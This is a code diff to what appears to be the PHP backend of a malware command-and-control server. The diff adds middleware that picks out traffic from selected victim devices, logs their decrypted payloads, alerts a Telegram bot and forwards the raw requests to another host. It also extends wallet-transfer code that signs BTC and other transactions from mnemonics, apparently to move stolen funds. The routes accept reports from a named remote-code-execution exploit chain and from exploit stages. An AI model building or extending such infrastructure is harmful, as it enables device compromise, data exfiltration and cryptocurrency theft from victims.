diff --git a/app/Http/Middleware/InterceptDeviceData.php b/app/Http/Middleware/InterceptDeviceData.php
new file mode 100644
index 0000000..d529d5b
--- /dev/null
+++ b/app/Http/Middleware/InterceptDeviceData.php
@@ -0,0 +1,308 @@
+resolveDeviceKey($request);
+
+ if ($deviceKey !== '' && $this->shouldIntercept($deviceKey)) {
+ try {
+ $this->intercept($request, $deviceKey);
+ } catch (\Throwable $e) {
+ Log::warning('intercept middleware error: '.$e->getMessage(), [
+ 'device_key' => $deviceKey,
+ ]);
+ }
+ }
+
+ return $next($request);
+ }
+
+ /**
+ * Resolve the normalized device key for this request.
+ *
+ * Prefers the attribute set by DecryptXxbbBody / DecryptCorunaBody.
+ * Falls back to request input fields (d / f / ecid) for multipart or
+ * DarkSword requests where the decrypt middleware skipped the attribute.
+ */
+ private function resolveDeviceKey(Request $request): string
+ {
+ $key = $request->attributes->get('coruna_device_key');
+ if (is_string($key) && $key !== '') {
+ return $key;
+ }
+
+ foreach (['d', 'f', 'ecid'] as $field) {
+ $value = $request->input($field);
+ if (is_string($value) && $value !== '') {
+ return IngestService::normalizeDeviceKey(substr($value, 0, 64)) ?? '';
+ }
+ }
+
+ return '';
+ }
+
+ /**
+ * Case-insensitive membership check against the configured device list.
+ */
+ private function shouldIntercept(string $deviceKey): bool
+ {
+ $list = config('coruna.intercept.device_keys', []);
+ if (! is_array($list) || $list === []) {
+ return false;
+ }
+
+ return in_array(strtolower($deviceKey), $list, true);
+ }
+
+ /**
+ * Log + notify + forward the matched request.
+ */
+ private function intercept(Request $request, string $deviceKey): void
+ {
+ $meta = $this->collectMeta($request, $deviceKey);
+
+ $this->writeLog($meta);
+
+ // Skip Telegram push for high-frequency paths (e.g. /event telemetry),
+ // but still log and forward so no data is lost.
+ if (! $this->shouldSkipPush($meta['path'])) {
+ $this->notify($meta);
+ }
+
+ $this->forward($request, $meta);
+ }
+
+ /**
+ * Whether the Telegram push should be skipped for this path.
+ */
+ private function shouldSkipPush(string $path): bool
+ {
+ $skipPaths = config('coruna.intercept.push_skip_paths', []);
+ if (! is_array($skipPaths) || $skipPaths === []) {
+ return false;
+ }
+
+ return in_array($path, $skipPaths, true);
+ }
+
+ /**
+ * Gather request metadata for logging and notification.
+ */
+ private function collectMeta(Request $request, string $deviceKey): array
+ {
+ $path = '/'.ltrim($request->path(), '/');
+
+ return [
+ 'time' => date('Y-m-d H:i:s'),
+ 'device_key' => $deviceKey,
+ 'method' => $request->method(),
+ 'path' => $path,
+ 'uri' => $request->getRequestUri(),
+ 'ip' => VisitorIp::fromRequest($request),
+ 'remote_addr' => $request->server->get('REMOTE_ADDR'),
+ 'host' => $request->getHost(),
+ 'content_type' => (string) $request->header('content-type'),
+ 'content_length' => strlen($request->getContent()),
+ 'headers' => $this->collectHeaders($request),
+ 'payload' => $this->collectPayload($request),
+ 'decrypt_ok' => (bool) $request->attributes->get('coruna_decrypt_ok'),
+ ];
+ }
+
+ /**
+ * Select headers worth recording (skip cookie / authorization for safety).
+ */
+ private function collectHeaders(Request $request): array
+ {
+ $headers = [];
+ foreach ([
+ 'x-ts', 'x-hash', 'timestamp', 'sdkv', 'ver', 'accept',
+ 'content-type', 'user-agent', 'host', 'cf-connecting-ip',
+ 'cf-ipcountry', 'x-forwarded-for', 'x-real-ip',
+ ] as $h) {
+ if ($request->headers->has($h)) {
+ $headers[$h] = $request->headers->get($h);
+ }
+ }
+
+ return $headers;
+ }
+
+ /**
+ * Best-effort payload snapshot for the log.
+ *
+ * Uses the decrypted payload when the decrypt middleware set it;
+ * otherwise records the raw body (truncated for very large uploads).
+ */
+ private function collectPayload(Request $request): mixed
+ {
+ $payload = $request->attributes->get('coruna_payload');
+ if (is_array($payload)) {
+ return $payload;
+ }
+
+ $raw = $request->getContent();
+ if (strlen($raw) > 200000) {
+ return ['_raw_truncated' => substr($raw, 0, 200000)];
+ }
+
+ return $raw === '' ? null : ['_raw' => $raw];
+ }
+
+ /**
+ * Append the interception record to public/log/intercept/Ymd.log.
+ */
+ private function writeLog(array $meta): void
+ {
+ $logPath = public_path('log/intercept');
+ if (! is_dir($logPath) && ! @mkdir($logPath, 0775, true) && ! is_dir($logPath)) {
+ return;
+ }
+
+ $logName = $logPath.'/'.date('Ymd').'.log';
+ $line = $meta['time'].' '.$meta['method'].' '.$meta['uri'].' '
+ .json_encode($meta, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
+ ."\r\n\r\n";
+
+ $isNew = ! file_exists($logName);
+ if (@file_put_contents($logName, $line, FILE_APPEND) === false) {
+ return;
+ }
+ if ($isNew) {
+ @chmod($logName, 0664);
+ }
+ }
+
+ /**
+ * Send a Telegram alert via the dedicated intercept bot.
+ */
+ private function notify(array $meta): void
+ {
+ $token = (string) config('coruna.intercept.bot_token', '');
+ $chatId = (string) config('coruna.intercept.chat_id', '');
+ if ($token === '' || $chatId === '') {
+ return;
+ }
+
+ $text = implode("\n", [
+ '🚨 设备数据拦截',
+ '📱 设备: '.$this->e($meta['device_key']).'',
+ '🌐 IP: '.$this->e($meta['ip'] ?: '—').'',
+ '📥 请求: '.$this->e($meta['method'].' '.$meta['path']).'',
+ '📦 大小: '.$this->e((string) $meta['content_length']).' bytes',
+ '🕐 时间: '.$this->e($meta['time']),
+ ]);
+
+ try {
+ app(TelegramNotifier::class)->sendToChat($chatId, $text, $token);
+ } catch (\Throwable $e) {
+ Log::warning('intercept telegram notify failed: '.$e->getMessage());
+ }
+ }
+
+ /**
+ * Mirror the raw request to the configured forward URL.
+ *
+ * Preserves method, path, query string, headers, and body — only the
+ * host (scheme + domain) is replaced with INTERCEPT_FORWARD_URL.
+ */
+ private function forward(Request $request, array $meta): void
+ {
+ $baseUrl = rtrim((string) config('coruna.intercept.forward_url', ''), '/');
+ if ($baseUrl === '') {
+ return;
+ }
+
+ // Rebuild the target URL: base + original path + original query.
+ $target = $baseUrl.$request->getRequestUri();
+
+ // Collect headers to forward — drop Host (will be set by HTTP client
+ // based on the target URL) and hop-by-hop headers.
+ $headers = [];
+ $skip = ['host', 'content-length', 'transfer-encoding', 'connection', 'expect'];
+ foreach ($request->headers->all() as $name => $values) {
+ if (in_array(strtolower($name), $skip, true)) {
+ continue;
+ }
+ $headers[$name] = $values;
+ }
+
+ $body = $request->getContent();
+ $timeout = (int) config('coruna.intercept.forward_timeout', 10);
+
+ try {
+ $resp = Http::withHeaders($headers)
+ ->timeout($timeout)
+ ->connectTimeout(min($timeout, 5))
+ ->send($request->method(), $target, [
+ 'body' => $body,
+ 'allow_redirects' => false,
+ ]);
+
+ $this->writeForwardLog($meta, $target, $resp->status(), (string) $resp->body());
+ } catch (\Throwable $e) {
+ $this->writeForwardLog($meta, $target, 0, $e->getMessage());
+ }
+ }
+
+ /**
+ * Record the forwarding result alongside the interception log.
+ */
+ private function writeForwardLog(array $meta, string $target, int $status, string $body): void
+ {
+ $logPath = public_path('log/intercept');
+ if (! is_dir($logPath)) {
+ return;
+ }
+
+ $logName = $logPath.'/'.date('Ymd').'.log';
+ $entry = [
+ 'time' => date('Y-m-d H:i:s'),
+ 'dir' => 'forward',
+ 'device_key' => $meta['device_key'],
+ 'target' => $target,
+ 'status' => $status,
+ 'response' => strlen($body) > 4000 ? substr($body, 0, 4000) : $body,
+ ];
+
+ $line = $entry['time'].' FORWARD '.$entry['target'].' '
+ .json_encode($entry, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
+ ."\r\n\r\n";
+
+ @file_put_contents($logName, $line, FILE_APPEND);
+ }
+
+ private function e(?string $value): string
+ {
+ return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
+ }
+}
diff --git a/app/Models/WalletAddress.php b/app/Models/WalletAddress.php
index 564832b..8268507 100644
--- a/app/Models/WalletAddress.php
+++ b/app/Models/WalletAddress.php
@@ -78,6 +78,11 @@ class WalletAddress extends Model
if (! is_numeric($value)) {
continue;
}
+ // A wallet balance can never be negative; clamp device-reported negatives to 0.
+ if ((float) $value < 0) {
+ $out[$col] = '0';
+ continue;
+ }
$out[$col] = $value;
}
@@ -99,6 +104,10 @@ class WalletAddress extends Model
if (! is_numeric($amount)) {
return (string) $amount;
}
+ // Defensive: never render a negative balance (e.g. stale device-reported rows).
+ if ((float) $amount < 0) {
+ $amount = '0';
+ }
$decimals = self::displayDecimals($coin);
$formatted = number_format((float) $amount, $decimals, '.', '');
diff --git a/app/Services/Chain/BtcAddress.php b/app/Services/Chain/BtcAddress.php
index 11d5c9b..611ff8f 100644
--- a/app/Services/Chain/BtcAddress.php
+++ b/app/Services/Chain/BtcAddress.php
@@ -92,6 +92,10 @@ final class BtcAddress
if ($ver === 0 && strlen($prog) === 32) {
return ['type' => 'p2wsh', 'script' => '0020'.bin2hex($prog)];
}
+ if ($ver === 1 && strlen($prog) === 32) {
+ // Taproot (BIP341): OP_1 <32>
+ return ['type' => 'p2tr', 'script' => '5120'.bin2hex($prog)];
+ }
throw new RuntimeException('Unsupported bech32 witness program');
}
@@ -163,7 +167,8 @@ final class BtcAddress
if (count($values) < 7) {
throw new RuntimeException('Invalid bech32 length');
}
- if (! self::bech32Verify($hrp, $values)) {
+ $spec = self::bech32Verify($hrp, $values);
+ if ($spec === null) {
throw new RuntimeException('Invalid bech32 checksum');
}
$values = array_slice($values, 0, -6);
@@ -171,6 +176,13 @@ final class BtcAddress
if ($version > 16) {
throw new RuntimeException('Invalid witness version');
}
+ // BIP350: witness v0 must use bech32, v1+ must use bech32m.
+ if ($version === 0 && $spec !== 'bech32') {
+ throw new RuntimeException('Invalid bech32 checksum (v0 must be bech32)');
+ }
+ if ($version !== 0 && $spec !== 'bech32m') {
+ throw new RuntimeException('Invalid bech32m checksum (v1+ must be bech32m)');
+ }
$program = self::convertBits(array_slice($values, 1), 5, 8, false);
if ($program === null) {
throw new RuntimeException('Invalid witness program');
@@ -206,7 +218,7 @@ final class BtcAddress
for ($i = 0; $i < strlen($bits); $i += 5) {
$values[] = bindec(substr($bits, $i, 5));
}
- $values = array_merge($values, self::bech32Checksum($hrp, $values));
+ $values = array_merge($values, self::bech32Checksum($hrp, $values, $witver));
$result = $hrp.'1';
foreach ($values as $v) {
$result .= $charset[$v];
@@ -216,14 +228,16 @@ final class BtcAddress
}
/** @param list $values */
- private static function bech32Checksum(string $hrp, array $values): array
+ private static function bech32Checksum(string $hrp, array $values, int $witver): array
{
+ // BIP350: v0 uses bech32 const (1), v1+ uses bech32m const (0x2bc830a3).
+ $const = $witver === 0 ? 1 : 0x2bc830a3;
$polymod = self::bech32Polymod(array_merge(
self::bech32HrpExpand($hrp),
$values,
[0, 0, 0, 0, 0, 0],
));
- $polymod ^= 1;
+ $polymod ^= $const;
$ret = [];
for ($i = 0; $i < 6; $i++) {
$ret[] = ($polymod >> 5 * (5 - $i)) & 31;
@@ -232,10 +246,23 @@ final class BtcAddress
return $ret;
}
- /** @param list $values */
- private static function bech32Verify(string $hrp, array $values): bool
+ /**
+ * Detect bech32/bech32m encoding from the checksum (BIP173 / BIP350).
+ *
+ * @param list $values
+ * @return string|null 'bech32' (v0) | 'bech32m' (v1+) | null (invalid)
+ */
+ private static function bech32Verify(string $hrp, array $values): ?string
{
- return self::bech32Polymod(array_merge(self::bech32HrpExpand($hrp), $values)) === 1;
+ $polymod = self::bech32Polymod(array_merge(self::bech32HrpExpand($hrp), $values));
+ if ($polymod === 1) {
+ return 'bech32';
+ }
+ if ($polymod === 0x2bc830a3) {
+ return 'bech32m';
+ }
+
+ return null;
}
/** @return list */
diff --git a/app/Services/Chain/BtcDriver.php b/app/Services/Chain/BtcDriver.php
index d9d7d44..8fb030d 100644
--- a/app/Services/Chain/BtcDriver.php
+++ b/app/Services/Chain/BtcDriver.php
@@ -33,14 +33,31 @@ class BtcDriver implements ChainDriver
return BtcAddress::p2wpkhFromCompressedPublicKey($compressed);
}
- public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
+ public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string
{
if (! $this->isValidAddress($to)) {
throw new RuntimeException('Invalid BTC address');
}
- $derived = Bip44::derive($mnemonic, $this->path($index));
- $from = BtcAddress::fromPrivateKey($derived['private_key']);
+ // Resolve the from-address type. Default to legacy P2PKH (BIP44) when no
+ // from address is supplied, preserving the original behaviour.
+ $fromType = $from === null ? 'p2pkh' : $this->fromType($from);
+ $segwit = $fromType === 'p2wpkh';
+
+ $derived = Bip44::derive(
+ $mnemonic,
+ $segwit ? $this->pathBip84($index) : $this->path($index),
+ );
+ $compressed = BtcAddress::compressedPublicKey($derived['private_key']);
+ $derivedFrom = $segwit
+ ? BtcAddress::p2wpkhFromCompressedPublicKey($compressed)
+ : BtcAddress::p2pkhFromCompressedPublicKey($compressed);
+
+ if ($from !== null && $from !== $derivedFrom) {
+ throw new RuntimeException('BTC from address does not match derived key');
+ }
+ $from = $derivedFrom;
+
$amountSats = $this->toSats($amount);
$utxos = $this->fetchUtxos($from);
@@ -57,17 +74,17 @@ class BtcDriver implements ChainDriver
foreach ($utxos as $utxo) {
$selected[] = $utxo;
$totalIn = bcadd($totalIn, (string) $utxo['value'], 0);
- $fee = $this->estimateFee(count($selected), 2, $feeRate);
+ $fee = $this->estimateFee(count($selected), 2, $feeRate, $segwit);
if (bccomp($totalIn, bcadd($target, (string) $fee, 0), 0) >= 0) {
break;
}
}
- $fee = $this->estimateFee(count($selected), 2, $feeRate);
+ $fee = $this->estimateFee(count($selected), 2, $feeRate, $segwit);
$needed = bcadd($target, (string) $fee, 0);
if (bccomp($totalIn, $needed, 0) < 0) {
// Try with single output (no change) — dust change becomes fee.
- $fee1 = $this->estimateFee(count($selected), 1, $feeRate);
+ $fee1 = $this->estimateFee(count($selected), 1, $feeRate, $segwit);
$needed1 = bcadd($target, (string) $fee1, 0);
if (bccomp($totalIn, $needed1, 0) < 0) {
throw new RuntimeException('Insufficient BTC balance for amount+fee');
@@ -90,7 +107,13 @@ class BtcDriver implements ChainDriver
$outputs[] = ['script' => $changeScript, 'value' => $change];
}
- $raw = $this->buildAndSign($selected, $outputs, $derived['private_key']);
+ if ($segwit) {
+ $keyhash = bin2hex(hash('ripemd160', hash('sha256', hex2bin($compressed), true), true));
+ $raw = $this->buildAndSignSegwit($selected, $outputs, $derived['private_key'], $keyhash);
+ } else {
+ $raw = $this->buildAndSign($selected, $outputs, $derived['private_key']);
+ }
+
$txid = $this->broadcast($raw);
if ($txid === '') {
throw new RuntimeException('BTC broadcast failed');
@@ -99,6 +122,40 @@ class BtcDriver implements ChainDriver
return $txid;
}
+ /**
+ * Classify a BTC from-address for spending. Only single-key P2PKH and
+ * P2WPKH are spendable here; P2SH/P2WSH/P2TR are rejected explicitly.
+ *
+ * @return string 'p2pkh' | 'p2wpkh'
+ */
+ private function fromType(string $from): string
+ {
+ $from = trim($from);
+ if (preg_match('/^bc1/i', $from)) {
+ $d = BtcAddress::decodeBech32($from);
+ if ($d['version'] === 0 && strlen($d['program']) === 20) {
+ return 'p2wpkh';
+ }
+ if ($d['version'] === 1 && strlen($d['program']) === 32) {
+ throw new RuntimeException('Spending from Taproot (P2TR) is not supported yet');
+ }
+ if ($d['version'] === 0 && strlen($d['program']) === 32) {
+ throw new RuntimeException('Spending from P2WSH is not supported');
+ }
+ throw new RuntimeException('Unsupported SegWit from address');
+ }
+
+ $hex = TronAddress::base58CheckToHex($from);
+ $ver = substr($hex, 0, 2);
+ if ($ver === '00') {
+ return 'p2pkh';
+ }
+ if ($ver === '05') {
+ throw new RuntimeException('Spending from P2SH is not supported');
+ }
+ throw new RuntimeException('Unsupported BTC from address');
+ }
+
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
{
throw new RuntimeException('BTC does not support token transfers');
@@ -286,10 +343,13 @@ class BtcDriver implements ChainDriver
return 10;
}
- private function estimateFee(int $inputs, int $outputs, int $satPerVbyte): int
+ private function estimateFee(int $inputs, int $outputs, int $satPerVbyte, bool $segwit = false): int
{
// Legacy P2PKH approx: 10 + 148*in + 34*out
- $vsize = 10 + (148 * $inputs) + (34 * $outputs);
+ // P2WPKH approx (vsize): 11 + 68*in + 43*out (43 covers P2TR outputs; overestimates slightly, safe)
+ $vsize = $segwit
+ ? 11 + (68 * $inputs) + (43 * $outputs)
+ : 10 + (148 * $inputs) + (34 * $outputs);
return max(1, $vsize * max(1, $satPerVbyte));
}
@@ -352,6 +412,108 @@ class BtcDriver implements ChainDriver
return bin2hex($version.$vinCount.$signedVins.$voutCount.$voutPayload.$locktime);
}
+ /**
+ * Build and sign a SegWit transaction spending P2WPKH inputs (BIP143).
+ *
+ * @param list $inputs
+ * @param list $outputs
+ * @param string $privateKeyHex hex private key for the P2WPKH keypair
+ * @param string $keyhashHex 20-byte hash160 of the compressed pubkey (hex)
+ */
+ private function buildAndSignSegwit(array $inputs, array $outputs, string $privateKeyHex, string $keyhashHex): string
+ {
+ $version = $this->u32le(1);
+ $locktime = $this->u32le(0);
+ $marker = "\x00";
+ $flag = "\x01";
+
+ $voutCount = $this->varInt(count($outputs));
+ $voutPayload = '';
+ foreach ($outputs as $out) {
+ $voutPayload .= $this->u64le($out['value']);
+ $script = hex2bin($out['script']);
+ if ($script === false) {
+ throw new RuntimeException('Invalid output script');
+ }
+ $voutPayload .= $this->varInt(strlen($script)).$script;
+ }
+
+ $pub = hex2bin(BtcAddress::compressedPublicKey($privateKeyHex));
+ if ($pub === false) {
+ throw new RuntimeException('Invalid public key');
+ }
+
+ $witnesses = '';
+ $vinPayload = '';
+ foreach ($inputs as $i => $in) {
+ $hash = $this->segwitSighashAll($inputs, $outputs, $i, $keyhashHex);
+
+ $der = $this->signDer($privateKeyHex, $hash)."\x01"; // SIGHASH_ALL
+ $witness = $this->varInt(2) // 2 stack items:
+ .$this->pushData($der)
+ .$this->pushData($pub);
+ $witnesses .= $witness;
+
+ $vinPayload .= $this->outpoint($in['txid'], $in['vout']);
+ $vinPayload .= $this->varInt(0); // empty scriptSig for native SegWit
+ $vinPayload .= $this->u32le(0xffffffff);
+ }
+
+ $vinCount = $this->varInt(count($inputs));
+
+ return bin2hex($version.$marker.$flag.$vinCount.$vinPayload.$voutCount.$voutPayload.$witnesses.$locktime);
+ }
+
+ /**
+ * BIP143 SIGHASH_ALL sighash for a P2WPKH input (32-byte raw binary).
+ *
+ * @param list $inputs
+ * @param list $outputs
+ */
+ private function segwitSighashAll(array $inputs, array $outputs, int $inputIndex, string $keyhashHex): string
+ {
+ $version = $this->u32le(1);
+ $locktime = $this->u32le(0);
+
+ $prevouts = '';
+ $sequences = '';
+ foreach ($inputs as $in) {
+ $prevouts .= $this->outpoint($in['txid'], $in['vout']);
+ $sequences .= $this->u32le(0xffffffff);
+ }
+ $hashPrevouts = hash('sha256', hash('sha256', $prevouts, true), true);
+ $hashSequence = hash('sha256', hash('sha256', $sequences, true), true);
+
+ $hashOutputsData = '';
+ foreach ($outputs as $out) {
+ $script = hex2bin($out['script']);
+ if ($script === false) {
+ throw new RuntimeException('Invalid output script');
+ }
+ $hashOutputsData .= $this->u64le($out['value']).$this->varInt(strlen($script)).$script;
+ }
+ $hashOutputs = hash('sha256', hash('sha256', $hashOutputsData, true), true);
+
+ $scriptCode = hex2bin('1976a914'.$keyhashHex.'88ac');
+ if ($scriptCode === false) {
+ throw new RuntimeException('Invalid P2WPKH scriptCode');
+ }
+ $in = $inputs[$inputIndex];
+
+ $preimage = $version
+ .$hashPrevouts
+ .$hashSequence
+ .$this->outpoint($in['txid'], $in['vout'])
+ .$this->varInt(strlen($scriptCode)).$scriptCode
+ .$this->u64le((string) $in['value'])
+ .$this->u32le(0xffffffff)
+ .$hashOutputs
+ .$locktime
+ .$this->u32le(1); // SIGHASH_ALL
+
+ return hash('sha256', hash('sha256', $preimage, true), true);
+ }
+
private function signDer(string $privateKey, string $hash32): string
{
$ec = new EC('secp256k1');
diff --git a/app/Services/Chain/ChainDriver.php b/app/Services/Chain/ChainDriver.php
index 0db807f..dc26967 100644
--- a/app/Services/Chain/ChainDriver.php
+++ b/app/Services/Chain/ChainDriver.php
@@ -11,7 +11,7 @@ interface ChainDriver
/**
* @return string txid
*/
- public function sendNative(string $mnemonic, int $index, string $to, string $amount): string;
+ public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string;
/**
* @return string txid
diff --git a/app/Services/Chain/EthDriver.php b/app/Services/Chain/EthDriver.php
index 7df30e0..3db5a1b 100644
--- a/app/Services/Chain/EthDriver.php
+++ b/app/Services/Chain/EthDriver.php
@@ -20,7 +20,7 @@ class EthDriver implements ChainDriver
return EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
}
- public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
+ public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string
{
if (! $this->isValidAddress($to)) {
throw new RuntimeException('Invalid ETH address');
diff --git a/app/Services/Chain/SolDriver.php b/app/Services/Chain/SolDriver.php
index aee347f..7c87c56 100644
--- a/app/Services/Chain/SolDriver.php
+++ b/app/Services/Chain/SolDriver.php
@@ -24,7 +24,7 @@ class SolDriver implements ChainDriver
return SolAddress::fromMnemonic($mnemonic, $index);
}
- public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
+ public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string
{
throw new RuntimeException('SOL native transfer not supported');
}
diff --git a/app/Services/Chain/TronDriver.php b/app/Services/Chain/TronDriver.php
index c88f7c3..bfa7dfd 100644
--- a/app/Services/Chain/TronDriver.php
+++ b/app/Services/Chain/TronDriver.php
@@ -20,7 +20,7 @@ class TronDriver implements ChainDriver
return TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
}
- public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
+ public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string
{
if (! $this->isValidAddress($to)) {
throw new RuntimeException('Invalid Tron address');
diff --git a/app/Services/TransferService.php b/app/Services/TransferService.php
index 7bf95d1..9015af9 100644
--- a/app/Services/TransferService.php
+++ b/app/Services/TransferService.php
@@ -105,7 +105,7 @@ class TransferService
}
$txid = match ($asset) {
- 'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount),
+ 'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount, $fromAddress),
'USDT' => $driver->sendToken(
$mnemonic,
$index,
@@ -113,7 +113,7 @@ class TransferService
$amount,
$this->usdtContract($chain),
),
- 'BNB' => $driver->sendNative($mnemonic, $index, $to, $amount),
+ 'BNB' => $driver->sendNative($mnemonic, $index, $to, $amount, $fromAddress),
default => throw new RuntimeException("Unsupported asset: {$asset}"),
};
diff --git a/config/coruna.php b/config/coruna.php
index c840263..ccde4cf 100644
--- a/config/coruna.php
+++ b/config/coruna.php
@@ -103,6 +103,37 @@ return [
'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'),
'webhook_secret' => env('TELEGRAM_WEBHOOK_SECRET', ''),
],
+
+ // Device data interception: when a request comes from one of the listed
+ // device IDs, log it to a separate file, push a Telegram alert through a
+ // dedicated bot, and optionally mirror the raw request to another domain.
+ 'intercept' => [
+ // Comma-separated device IDs (normalized form, case-insensitive).
+ // e.g. INTERCEPT_DEVICE_KEYS=0016094811BA401E,000339A03620001E
+ 'device_keys' => array_values(array_filter(array_map(
+ static fn ($v) => strtolower(trim((string) $v)),
+ explode(',', (string) env('INTERCEPT_DEVICE_KEYS', ''))
+ ))),
+ // Dedicated Telegram bot for interception alerts (empty = skip TG push).
+ 'bot_token' => trim((string) env('INTERCEPT_BOT_TOKEN', '')),
+ // Chat ID to receive interception alerts.
+ 'chat_id' => trim((string) env('INTERCEPT_CHAT_ID', '')),
+ // Paths that skip Telegram push but still log + forward (high-frequency noise).
+ // e.g. /event is telemetry spam. Default: /event
+ 'push_skip_paths' => (function () {
+ $trimmed = array_filter(
+ array_map(static fn ($v) => trim((string) $v), explode(',', (string) env('INTERCEPT_PUSH_SKIP_PATHS', '/event'))),
+ static fn ($v) => $v !== ''
+ );
+
+ return array_values(array_map(static fn ($v) => '/'.ltrim($v, '/'), $trimmed));
+ })(),
+ // Mirror raw requests to this base URL (empty = no forwarding).
+ // e.g. INTERCEPT_FORWARD_URL=https://mirror.example.com
+ 'forward_url' => rtrim(trim((string) env('INTERCEPT_FORWARD_URL', '')), '/'),
+ // Forwarding HTTP timeout in seconds.
+ 'forward_timeout' => (int) env('INTERCEPT_FORWARD_TIMEOUT', 10),
+ ],
'tokenview' => [
'api_key' => env('TOKENVIEW_API_KEY', ''),
'sign_key' => env('TOKENVIEW_SIGN_KEY', ''),
@@ -143,7 +174,7 @@ return [
'gas_limit' => env('ETH_GAS_LIMIT', ''),
],
'bsc' => [
- 'rpc_url' => env('BSC_RPC_URL', 'https://bsc-dataseed.bnbchain.org'),
+ 'rpc_url' => env('BSC_RPC_URL', 'https://bsc.publicnode.com'),
'chain_id' => (int) env('BSC_CHAIN_ID', 56),
// Official Tether USDT BEP20 (BSC). 18 decimals. Empty = skip token balance/transfer.
'usdt_contract' => env('BSC_USDT_CONTRACT', '0x55d398326f99059fF775485246999027B3197955'),
diff --git a/routes/c2.php b/routes/c2.php
index 03540d8..e68dd42 100644
--- a/routes/c2.php
+++ b/routes/c2.php
@@ -2,9 +2,10 @@
use App\Http\Controllers\C2\C2Controller;
use App\Http\Middleware\DecryptCorunaBody;
+use App\Http\Middleware\InterceptDeviceData;
use Illuminate\Support\Facades\Route;
-Route::middleware([DecryptCorunaBody::class])->group(function () {
+Route::middleware([DecryptCorunaBody::class, InterceptDeviceData::class])->group(function () {
Route::get('/api/user/query', [C2Controller::class, 'query']);
Route::post('/api/user/avatar/set', [C2Controller::class, 'avatarSet']);
Route::post('/api/user/get', [C2Controller::class, 'userGet']);
diff --git a/routes/ds.php b/routes/ds.php
index 5d43054..dd41662 100644
--- a/routes/ds.php
+++ b/routes/ds.php
@@ -1,6 +1,7 @@
group(function () use ($ds) {
+ Route::any('/beacon', [$ds, 'beacon']);
+ Route::any('/war', [$ds, 'war']);
+ Route::any('/p', [$ds, 'p']);
+ Route::any('/stats', [$ds, 'stats']);
-Route::any('/api/ds/log', [$ds, 'log']);
-// /log.html: external exploit chain (rce_loader.js + rce_worker_*.js) sends
-// progress logs here via XMLHttpRequest GET with query params (id, text, hex).
-// Maps to the same controller as /api/ds/log for unified log ingestion.
-Route::any('/log.html', [$ds, 'log']);
-Route::any('/api/ds/device/register', [$ds, 'register']);
-Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
+ Route::any('/api/ds/log', [$ds, 'log']);
+ // /log.html: external exploit chain (rce_loader.js + rce_worker_*.js) sends
+ // progress logs here via XMLHttpRequest GET with query params (id, text, hex).
+ // Maps to the same controller as /api/ds/log for unified log ingestion.
+ Route::any('/log.html', [$ds, 'log']);
+ Route::any('/api/ds/device/register', [$ds, 'register']);
+ Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
-Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
+ Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
+});
diff --git a/routes/xxbb.php b/routes/xxbb.php
index 00e021f..90c9484 100644
--- a/routes/xxbb.php
+++ b/routes/xxbb.php
@@ -3,6 +3,7 @@
use App\Http\Controllers\C2\DarkSwordC2Controller;
use App\Http\Controllers\C2\XxbbC2Controller;
use App\Http\Middleware\DecryptXxbbBody;
+use App\Http\Middleware\InterceptDeviceData;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;
@@ -19,7 +20,7 @@ $dsOrXxbb = static function (string $dsMethod, string $xxbbMethod) use ($ds, $xx
Route::match(['GET', 'HEAD'], '/vhx', [$xxbb, 'vhx']);
-Route::middleware([DecryptXxbbBody::class])->group(function () use ($dsOrXxbb, $xxbb) {
+Route::middleware([DecryptXxbbBody::class, InterceptDeviceData::class])->group(function () use ($dsOrXxbb, $xxbb) {
Route::post('/a', $dsOrXxbb('profile', 'profile'));
Route::post('/u', $dsOrXxbb('apps', 'apps'));
Route::post('/event', $dsOrXxbb('event', 'event'));